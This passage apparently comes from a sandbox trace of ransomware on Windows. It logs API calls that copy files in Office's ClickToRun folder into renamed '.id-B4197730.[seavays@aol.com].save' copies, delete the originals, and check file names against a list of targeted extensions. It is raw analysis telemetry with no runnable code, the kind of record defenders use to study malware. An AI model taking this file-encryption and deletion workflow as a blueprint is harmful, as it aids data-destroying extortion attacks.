shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.548] GetLastError () returned 0x0 [0068.548] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0068.550] WriteFile (in: hFile=0x374, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0068.551] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.551] WriteFile (in: hFile=0x374, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x110, lpOverlapped=0x0) returned 1 [0068.551] SetEndOfFile (hFile=0x374) returned 1 [0068.552] CloseHandle (hObject=0x374) returned 1 [0068.553] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.553] SetEndOfFile (hFile=0x2ec) returned 1 [0068.554] CloseHandle (hObject=0x2ec) returned 1 [0068.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.554] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0068.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.555] lstrlenW (lpString=".doc") returned 4 [0068.555] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.555] lstrlenW (lpString=".docx") returned 5 [0068.555] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.555] lstrlenW (lpString=".pdf") returned 4 [0068.555] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.555] lstrlenW (lpString=".xls") returned 4 [0068.555] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.555] lstrlenW (lpString=".xlsx") returned 5 [0068.555] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.555] lstrlenW (lpString=".ppt") returned 4 [0068.555] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.555] lstrlenW (lpString=".zip") returned 4 [0068.555] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.555] lstrlenW (lpString=".rar") returned 4 [0068.555] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.555] lstrlenW (lpString=".bz2") returned 4 [0068.555] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.555] lstrlenW (lpString=".7z") returned 3 [0068.555] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.555] lstrlenW (lpString=".dbf") returned 4 [0068.555] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.555] lstrlenW (lpString=".1cd") returned 4 [0068.555] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.555] lstrlenW (lpString=".jpg") returned 4 [0068.555] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.556] lstrlenW (lpString=".doc") returned 4 [0068.556] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.556] lstrlenW (lpString=".docx") returned 5 [0068.556] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.556] lstrlenW (lpString=".pdf") returned 4 [0068.556] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.556] lstrlenW (lpString=".xls") returned 4 [0068.556] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.556] lstrlenW (lpString=".xlsx") returned 5 [0068.556] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.556] lstrlenW (lpString=".ppt") returned 4 [0068.556] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.556] lstrlenW (lpString=".zip") returned 4 [0068.556] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.556] lstrlenW (lpString=".rar") returned 4 [0068.556] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.556] lstrlenW (lpString=".bz2") returned 4 [0068.556] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.556] lstrlenW (lpString=".7z") returned 3 [0068.556] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.556] lstrlenW (lpString=".dbf") returned 4 [0068.556] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.556] lstrlenW (lpString=".1cd") returned 4 [0068.556] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0068.556] lstrlenW (lpString=".jpg") returned 4 [0068.556] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.557] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.557] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30 [0068.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0068.557] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=21184) returned 1 [0068.557] CloseHandle (hObject=0x2ec) returned 1 [0068.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0068.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0068.557] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.558] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.558] GetLastError () returned 0x0 [0068.558] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0068.560] WriteFile (in: hFile=0x374, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0068.562] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.562] WriteFile (in: hFile=0x374, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x110, lpOverlapped=0x0) returned 1 [0068.562] SetEndOfFile (hFile=0x374) returned 1 [0068.562] CloseHandle (hObject=0x374) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.563] SetEndOfFile (hFile=0x2ec) returned 1 [0068.564] CloseHandle (hObject=0x2ec) returned 1 [0068.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.565] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0068.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.565] lstrlenW (lpString=".doc") returned 4 [0068.565] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.565] lstrlenW (lpString=".docx") returned 5 [0068.565] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.565] lstrlenW (lpString=".pdf") returned 4 [0068.565] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.565] lstrlenW (lpString=".xls") returned 4 [0068.565] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.565] lstrlenW (lpString=".xlsx") returned 5 [0068.565] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.565] lstrlenW (lpString=".ppt") returned 4 [0068.565] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.565] lstrlenW (lpString=".zip") returned 4 [0068.565] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.565] lstrlenW (lpString=".rar") returned 4 [0068.565] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.565] lstrlenW (lpString=".bz2") returned 4 [0068.565] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.565] lstrlenW (lpString=".7z") returned 3 [0068.565] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.566] lstrlenW (lpString=".dbf") returned 4 [0068.566] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.566] lstrlenW (lpString=".1cd") returned 4 [0068.566] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.566] lstrlenW (lpString=".jpg") returned 4 [0068.566] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.566] lstrlenW (lpString=".doc") returned 4 [0068.566] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.566] lstrlenW (lpString=".docx") returned 5 [0068.566] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.566] lstrlenW (lpString=".pdf") returned 4 [0068.566] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.566] lstrlenW (lpString=".xls") returned 4 [0068.566] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.566] lstrlenW (lpString=".xlsx") returned 5 [0068.566] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.566] lstrlenW (lpString=".ppt") returned 4 [0068.566] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.566] lstrlenW (lpString=".zip") returned 4 [0068.566] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.566] lstrlenW (lpString=".rar") returned 4 [0068.566] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.566] lstrlenW (lpString=".bz2") returned 4 [0068.566] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.566] lstrlenW (lpString=".7z") returned 3 [0068.567] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.567] lstrlenW (lpString=".dbf") returned 4 [0068.567] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.567] lstrlenW (lpString=".1cd") returned 4 [0068.567] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0068.567] lstrlenW (lpString=".jpg") returned 4 [0068.567] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.567] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.567] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0068.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0068.567] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19136) returned 1 [0068.568] CloseHandle (hObject=0x2ec) returned 1 [0068.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0068.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0068.568] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.568] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.568] GetLastError () returned 0x0 [0068.568] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0068.570] WriteFile (in: hFile=0x374, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0068.571] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.572] WriteFile (in: hFile=0x374, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x116, lpOverlapped=0x0) returned 1 [0068.572] SetEndOfFile (hFile=0x374) returned 1 [0068.572] CloseHandle (hObject=0x374) returned 1 [0068.573] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.573] SetEndOfFile (hFile=0x2ec) returned 1 [0068.578] CloseHandle (hObject=0x2ec) returned 1 [0068.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.578] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0068.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.579] lstrlenW (lpString=".doc") returned 4 [0068.579] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.579] lstrlenW (lpString=".docx") returned 5 [0068.579] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.579] lstrlenW (lpString=".pdf") returned 4 [0068.579] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.579] lstrlenW (lpString=".xls") returned 4 [0068.579] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.579] lstrlenW (lpString=".xlsx") returned 5 [0068.579] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.579] lstrlenW (lpString=".ppt") returned 4 [0068.579] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.579] lstrlenW (lpString=".zip") returned 4 [0068.579] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.579] lstrlenW (lpString=".rar") returned 4 [0068.579] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.579] lstrlenW (lpString=".bz2") returned 4 [0068.579] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.579] lstrlenW (lpString=".7z") returned 3 [0068.579] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.579] lstrlenW (lpString=".dbf") returned 4 [0068.579] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.579] lstrlenW (lpString=".1cd") returned 4 [0068.579] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.580] lstrlenW (lpString=".jpg") returned 4 [0068.580] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.580] lstrlenW (lpString=".doc") returned 4 [0068.580] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.580] lstrlenW (lpString=".docx") returned 5 [0068.580] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.580] lstrlenW (lpString=".pdf") returned 4 [0068.580] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.580] lstrlenW (lpString=".xls") returned 4 [0068.580] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.580] lstrlenW (lpString=".xlsx") returned 5 [0068.580] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.580] lstrlenW (lpString=".ppt") returned 4 [0068.580] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.580] lstrlenW (lpString=".zip") returned 4 [0068.580] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.580] lstrlenW (lpString=".rar") returned 4 [0068.580] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.580] lstrlenW (lpString=".bz2") returned 4 [0068.580] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.580] lstrlenW (lpString=".7z") returned 3 [0068.580] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.580] lstrlenW (lpString=".dbf") returned 4 [0068.580] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.580] lstrlenW (lpString=".1cd") returned 4 [0068.581] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0068.581] lstrlenW (lpString=".jpg") returned 4 [0068.581] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.581] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.581] lstrlenW (lpString="ApiClient.dll") returned 13 [0068.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0068.581] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=162880) returned 1 [0068.581] CloseHandle (hObject=0x2ec) returned 1 [0068.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0068.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.582] lstrlenW (lpString=".doc") returned 4 [0068.582] 